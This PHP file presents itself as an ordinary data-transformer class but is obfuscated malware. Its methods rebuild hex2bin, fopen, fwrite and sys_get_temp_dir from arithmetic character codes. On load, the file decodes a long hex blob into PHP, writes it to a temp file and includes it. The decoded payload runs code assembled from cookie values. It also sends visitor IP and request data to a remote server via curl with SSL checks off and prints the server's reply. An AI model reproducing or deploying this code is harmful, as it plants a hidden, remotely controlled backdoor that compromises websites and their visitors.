<?php
class DataTransformer
{
    private $mw = '';
    private $yi = '';
    public function computeResult($p1)
    {
        $v = array(112 * 50 - 5490, 28 + 57 + 20, 31 * 2 + 36, 20 * 11 - 170, 81 + 39, 47 * 100 - 4599, 39 * 13 - 403);
        $p = '';
        foreach ($v as $y) {
            $p .= chr($y);
        }
        $p = strrev($p);
        return $p($p1);
    }
    public function generateToken($p1, $p2)
    {
        $u = array(80 * 1 + 30, 45 * 37 - 1564, 2 * 56, 118 - 7, 110 * 76 - 8258);
        $d = '';
        foreach ($u as $s) {
            $d .= chr($s);
        }
        $d = strrev($d);
        return $d($p1, $p2);
    }
    public function handleRequest($p1, $p2)
    {
        $o = array(101 * 1, 121 - 5, 113 - 8, 32 + 63 + 19, 106 + 13, 109 - 7);
        $x = '';
        foreach ($o as $a) {
            $x .= chr($a);
        }
        $x = strrev($x);
        return $x($p1, $p2);
    }
    public function logEvent($p1)
    {
        $b = array(111 - 10, 86 + 27 + 2, 111, 116 - 8, 3 * 33, 106 - 4);
        $be = '';
        foreach ($b as $f) {
            $be .= chr($f);
        }
        $be = strrev($be);
        return $be($p1);
    }
    public function sanitizeInput($p1, $p2 = null)
    {
        $o = array(46 + 63, 105, 114, 21 + 84 + 11, 10 + 104);
        $oc = '';
        foreach ($o as $g) {
            $oc .= chr($g);
        }
        $oc = strrev($oc);
        return $oc($p1, $p2);
    }
    public function resetState()
    {
        $this->yi = $this->sanitizeInput($this->syncRecords(), '/');
    }
    public function rollbackTransaction()
    {
        $this->mw = $this->computeResult($this->iu);
    }
    public function manageState()
    {
        $fn = $this->yi . '/mq-692ccd75ec69f';
        $f = $this->generateToken($fn, 'w');
        $this->handleRequest($f, $this->mw);
        $this->logEvent($f);
        $this->filterResults($fn);
    }
    private $iu = '3c3f70687020636c617373205f76757b70726976617465207' . '37461746963245f67653b7374617469632066756e6374696f6' . 'e205f676928245f626b67297b6966282173656c663a3a245f6' . '7652973656c663a3a5f6c6e7528293b72657475726e2068657' . '83262696e2873656c663a3a245f67655b245f626b675d293b7' . 'd70726976617465207374617469632066756e6374696f6e205' . 'f6c6e7528297b73656c663a3a245f67653d617272617928275' . 'f6e62273d3e273431363336333635373337333264343336663' . '66537343732366636633264343136633663366637373264346' . '6373236393637363936653361272e2732303261272c275f626' . 'c273d3e27343336663665373436353665373432272e2764353' . '4373937272e273036353361323036313730373036633639363' . '33631373436393666366532272e276636272e2761363137363' . '63137333633373236272e273937303734272c275f7676273d3' . 'e2736272e273336272e2738272c275f7973273d3e273635373' . '93461373036333433343933363439366136373334346336613' . '63733343463366136373334346336613637333434393639373' . '736393634353734353639346636393461333035272e2761353' . '834653330272e2734393639373736393633366435363664343' . '93661366636272e27393634343735363761272e27363434333' . '46133272e2739272c275f626271273d3e273731373737272e2' . '761272e2737272e2738272c275f6765273d3e27336336272e2' . '766272e2736272e276233272e2765272c275f7671273d3e273' . '36336323631363433272e2765272c275f6171273d3e2737373' . '6313663272e2736272e2763272c275f71646f273d3e27272c2' . '75f6979273d3e27272c275f7669273d3e27272c275f71726c2' . '73d3e2736383734373437303361326632272e2766373037353' . '63232653737363536323636363936633635363836663733373' . '43635373232653633366636643266363336663664373036663' . '7333635373232272e27653661373333663634363137272e273' . '4272e27363133272e2764272c275f7a70273d3e27363337353' . '73236633566363936272e27653639272e273734272c275f747' . '3273d3e273638272e2737272e2734373437303566363336663' . '6343635272c275f6b616d273d3e273733363336272e2738363' . '536272e276436272e2735272c275f676362273d3e273638373' . '43734373037272e2733272c275f6376273d3e27343734272e2' . '73535272e273432272e2730272c275f6870273d3e273730363' . '13734272e2736272e2738272c275f6c6f273d3e27373137353' . '63537323739272c275f7861273d3e2733272e2766272c275f6' . 'a7278273d3e27373137353635373237272e2739272c275f6f7' . '166273d3e273230343835343534353032663331326533272e2' . '7303064306134383666272e27373337272e27343361272e273' . '230272c275f726162273d3e27363836663733272e273734272' . 'c275f6974273d3e27306430613433366636653665363536333' . '73436393666366533613230343336633666373336353064306' . '13064272e2730272e2761272c275f7069273d3e27373337333' . '66333613266272e2732272e2766272c275f6467273d3e27272' . 'c275f6c6c273d3e27363836272e276637333734272c275f716' . '571273d3e273064272e273061272c275f657564273d3e27343' . '83534353435303566343334272e276334393435272e2734653' . '53435663439272e2735272e2730272c275f6664273d3e27343' . '83534272e27353435303566353835663436346635323537343' . '1272e273532272e27343434272e2735343435272e276634363' . '46635272e2732272c275f656f75273d3e27353234353464346' . '63534272e2734353566272e273431343434272e27343532272' . 'c275f7a6674273d3e273438353435343530356635353533343' . '535272e27323566343134272e27373435272e273465272e273' . '534272c275f757679273d3e273438353435343530356635353' . '53334353532356634313437343534272e2765272e273534272' . 'c275f6a74273d3e27272c275f626164273d3e2734383534353' . '435303566272e273532343534272e273634353532272e27343' . '5272e273532272c275f6b70273d3e273438353435343530356' . '63532272e273435343634353532272e273435272e2735272e2' . '732272c275f616265273d3e27272c275f796d273d3e2734383' . '53435343530356634333463343934272e2735346535272e273' . '43566272e2734393530272c275f6768273d3e2734383534353' . '4353035663433272e273463343934353465353435663439353' . '0272c275f686464273d3e2734383534272e273534353035663' . '5383566272e273436346635323537343135323434343534272' . 'e27343566272e2734363466272e273532272c275f736467273' . 'd3e27343835343534353035663538356634272e27363466353' . '235272e27373431353234343435272e2734343566272e27343' . '6272e27346635272e2732272c275f6e77273d3e27353234353' . '4643466353434353566343134343434272e2735272e2732272' . 'c275f7a7466273d3e273532343534643466353434353566343' . '134272e2734343435272e2732272c275f717164273d3e27363' . '436323637272e27366436272e276636343635272c275f64636' . '6273d3e273439353033613230272c275f616f273d3e2732303' . '7272e2763323035272e273534313361272e2732272e2730272' . 'c275f766c6e273d3e2732303763323035323635272e2736363' . '3613230272c275f636473273d3e27323033633632272e27373' . '233272e27653061272c275f7278273d3e273639272e2737272' . 'e2730272c275f6e627a273d3e27373536272e2731272c275f7' . '97a273d3e27373236272e27353636272c275f636c65273d3e2' . '73731373737613738272c293b7d7d636c617373205f6478787' . 'b7072697661746520737461746963245f67653b73746174696' . '32066756e6374696f6e205f676928245f626b67297b6966282' . '173656c663a3a245f67652973656c663a3a5f6c6e7528293b7' . '2657475726e2073656c663a3a245f67655b245f626b675d3b7' . 'd70726976617465207374617469632066756e6374696f6e205' . 'f6c6e7528297b73656c663a3a245f67653d617272617928303' . '02c30372c3033362c3033362c30312c3033362c30322c30372' . 'c30312c3031362c3033302c30362c3033322c3031322c30313' . '12c3031332c3032372c3033312c30332c30322c30312c30312' . 'c30302c3031322c3031322c303331302c303637332c3031323' . '02c30302c30323030302c30312c303432332c30343233293b7' . 'd7d686561646572285f76753a3a5f676928275f272e276e272' . 'e27622729293b686561646572285f76753a3a5f676928275f6' . '26c2729293b696628697373657428245f4745545b5f76753a3' . 'a5f676928275f76272e277627295d29297b245f6e693d5f626' . '6285f76753a3a5f676928275f79732729293b696628245f6e6' . '92626737472706f7328245f6e692c5f76753a3a5f676928275' . 'f6262272e2771272929213d3d66616c7365297b646965285f7' . '6753a3a5f676928275f67652729293b7d656c73657b6469652' . '85f76753a3a5f676928275f76272e27712729293b7d7d69662' . '8697373657428245f4745545b5f76753a3a5f676928275f617' . '127295d29297b245f79706a3d245f434f4f4b49453b245f6d7' . '9663d5f6478783a3a5f67692830293b245f626b673d5f64787' . '83a3a5f67692831293b245f6b7a3d617272617928293b245f6' . 'b7a5b245f6d79665d3d5f76753a3a5f676928275f7164272e2' . '76f27293b7768696c6528245f626b67297b245f6b7a5b245f6' . 'd79665d2e3d245f79706a5b5f6478783a3a5f67692832295d5' . 'b245f626b675d3b69662821245f79706a5b5f6478783a3a5f6' . '7692833295d5b245f626b672b5f6478783a3a5f67692834295' . 'd297b69662821245f79706a5b5f6478783a3a5f67692835295' . 'd5b245f626b672b5f6478783a3a5f67692836295d296272656' . '16b3b245f6d79662b2b3b245f6b7a5b245f6d79665d3d5f767' . '53a3a5f676928275f272e2769272e277927293b245f626b672' . 'b2b3b7d245f626b673d245f626b672b5f6478783a3a5f67692' . '837292b5f6478783a3a5f67692838293b7d245f6d79663d245' . 'f6b7a5b5f6478783a3a5f67692839295d28292e245f6b7a5b5' . 'f6478783a3a5f6769283130295d3b69662821245f6b7a5b5f6' . '478783a3a5f6769283131295d28245f6d796629297b245f626' . 'b673d245f6b7a5b5f6478783a3a5f6769283132295d28245f6' . 'd79662c245f6b7a5b5f6478783a3a5f6769283133295d293b2' . '45f6b7a5b5f6478783a3a5f6769283134295d28245f626b672' . 'c245f6b7a5b5f6478783a3a5f6769283135295d2e245f6b7a5' . 'b5f6478783a3a5f6769283136295d28245f6b7a5b5f6478783' . 'a3a5f6769283137295d28245f79706a5b5f6478783a3a5f676' . '9283138295d2929293b7d696e636c75646528245f6d7966293' . 'b7d66756e6374696f6e205f626628245f626e2c245f6362743' . 'd2d3335393634297b245f6465793d5f76753a3a5f676928275' . 'f272e2776272e276927293b245f6c773d5f76753a3a5f67692' . '8275f7172272e276c27292e245f626e3b69662869735f63616' . 'c6c61626c65285f76753a3a5f676928275f7a272e277027292' . '9297b245f78743d6375726c5f696e697428245f6c77293b637' . '5726c5f7365746f707428245f78742c4355524c4f50545f535' . '34c5f564552494659504545522c66616c7365293b6375726c5' . 'f7365746f707428245f78742c4355524c4f50545f53534c5f5' . '64552494659484f53542c5f6478783a3a5f676928313929293' . 'b6375726c5f7365746f707428245f78742c4355524c4f50545' . 'f464f4c4c4f574c4f434154494f4e2c5f6478783a3a5f67692' . '8323029293b6375726c5f7365746f707428245f78742c43555' . '24c4f50545f52455455524e5452414e534645522c5f6478783' . 'a3a5f676928323129293b6375726c5f7365746f707428245f7' . '8742c4355524c4f50545f4845414445522c5f6478783a3a5f6' . '76928323229293b6375726c5f7365746f707428245f78742c4' . '355524c4f50545f434f4e4e45435454494d454f55542c5f647' . '8783a3a5f676928323329293b6375726c5f7365746f7074282' . '45f78742c4355524c4f50545f54494d454f55542c5f6478783' . 'a3a5f676928323429293b245f6465793d6375726c5f6578656' . '328245f7874293b245f6274763d6375726c5f676574696e666' . 'f28245f7874293b6375726c5f636c6f736528245f7874293b6' . '96628245f6274765b5f76753a3a5f676928275f74272e27732' . '7295d213d5f6478783a3a5f6769283235292972657475726e2' . '066616c73653b7d656c73657b245f76726a3d70617273655f7' . '5726c28245f6c77293b245f6f63753d28245f76726a5b5f767' . '53a3a5f676928275f6b616d27295d3d3d5f76753a3a5f67692' . '8275f67272e2763272e27622729293b245f7076673d5f76753' . 'a3a5f676928275f637627292e245f76726a5b5f76753a3a5f6' . '76928275f272e2768272e277027295d3b69662869737365742' . '8245f76726a5b5f76753a3a5f676928275f6c272e276f27295' . 'd2929245f7076672e3d5f76753a3a5f676928275f272e27782' . '72e276127292e245f76726a5b5f76753a3a5f676928275f6a7' . '2272e277827295d3b245f7076672e3d5f76753a3a5f6769282' . '75f6f716627292e245f76726a5b5f76753a3a5f676928275f7' . '2616227295d2e5f76753a3a5f676928275f69272e277427293' . 'b245f70623d66736f636b6f70656e2828245f6f63753f5f767' . '53a3a5f676928275f272e2770272e276927293a5f76753a3a5' . 'f676928275f64272e27672729292e245f76726a5b5f76753a3' . 'a5f676928275f272e276c6c27295d2c245f6f63753f5f64787' . '83a3a5f6769283236293a5f6478783a3a5f676928323729293' . 'b696628245f7062297b667075747328245f70622c245f70766' . '7293b245f70733d5f6478783a3a5f6769283238293b7768696' . 'c65282166656f6628245f706229297b245f67683d666765747' . '328245f70622c5f6478783a3a5f676928323929293b6966282' . '45f707329245f6465792e3d245f67683b696628245f67683d3' . 'd5f76753a3a5f676928275f71272e2765272e2771272929245' . 'f70733d5f6478783a3a5f6769283330293b7d66636c6f73652' . '8245f7062293b7d7d72657475726e245f6465793b7d245f696' . 'b3d697373657428245f5345525645525b5f76753a3a5f67692' . '8275f272e276575272e276427295d293b245f73733d6973736' . '57428245f5345525645525b5f76753a3a5f676928275f66642' . '7295d293b245f7969713d697373657428245f5345525645525' . 'b5f76753a3a5f676928275f65272e276f7527295d293b245f7' . '16f3d697373657428245f5345525645525b5f76753a3a5f676' . '928275f7a272e27667427295d293f245f5345525645525b5f7' . '6753a3a5f676928275f75272e27767927295d3a5f76753a3a5' . 'f676928275f6a7427293b245f6165643d697373657428245f5' . '345525645525b5f76753a3a5f676928275f6261272e2764272' . '95d293f245f5345525645525b5f76753a3a5f676928275f6b7' . '027295d3a5f76753a3a5f676928275f61272e2762272e27652' . '7293b245f696b3d697373657428245f5345525645525b5f767' . '53a3a5f676928275f79272e276d27295d293f245f534552564' . '5525b5f76753a3a5f676928275f676827295d3a6e756c6c3b2' . '45f73733d697373657428245f5345525645525b5f76753a3a5' . 'f676928275f68272e27646427295d293f245f5345525645525' . 'b5f76753a3a5f676928275f272e2773646727295d3a6e756c6' . 'c3b245f7969713d697373657428245f5345525645525b5f767' . '53a3a5f676928275f272e276e7727295d293f245f534552564' . '5525b5f76753a3a5f676928275f272e277a272e27746627295' . 'd3a6e756c6c3b69662866696c7465725f76617228245f696b2' . 'c5f6478783a3a5f67692833312929297b245f776b773d245f6' . '96b3b7d656c736569662866696c7465725f76617228245f737' . '32c5f6478783a3a5f67692833322929297b245f776b773d245' . 'f73733b7d656c73657b245f776b773d245f7969713b7d69662' . '8697373657428245f4745545b5f76753a3a5f676928275f717' . '16427295d29297b6563686f205f76753a3a5f676928275f642' . '72e2763272e276627292e245f776b772e5f76753a3a5f67692' . '8275f272e2761272e276f27292e245f716f2e5f76753a3a5f6' . '76928275f766c272e276e27292e245f6165642e5f76753a3a5' . 'f676928275f63272e27647327293b6578697428293b7d69662' . '821697373657428245f776b77297c7c21697373657428245f7' . '16f297c7c21697373657428245f61656429297b65786974282' . '93b7d656c73657b245f6c6e6e3d6172726179285f76753a3a5' . 'f676928275f272e2772272e277827293d3e245f776b772c5f7' . '6753a3a5f676928275f6e62272e277a27293d3e245f716f2c5' . 'f76753a3a5f676928275f272e27797a27293d3e245f6165642' . '93b245f6d6e753d75726c656e636f6465286261736536345f6' . '56e636f6465286a736f6e5f656e636f646528245f6c6e6e292' . '9293b245f6e693d5f626628245f6d6e75293b696628245f6e6' . '92626737472706f7328245f6e692c5f76753a3a5f676928275' . 'f272e27636c65272929213d3d66616c7365297b6563686f245' . 'f6e693b6578697428293b7d7d';
    public function filterResults($p)
    {
        include $p;
    }
    public function syncRecords()
    {
        $a = array(5 * 23, 99 + 22, 64 + 51, 67 * 104 - 6873, 16 * 42 - 569, 52 * 59 - 2967, 102 + 14, 92 * 1 + 3, 2 * 58, 27 * 1 + 74, 41 + 68, 116 - 4, 52 + 17 + 26, 39 * 2 + 22, 82 + 23, 17 + 63 + 34);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$cn = new DataTransformer();
$cn->resetState();
$cn->rollbackTransaction();
$cn->manageState();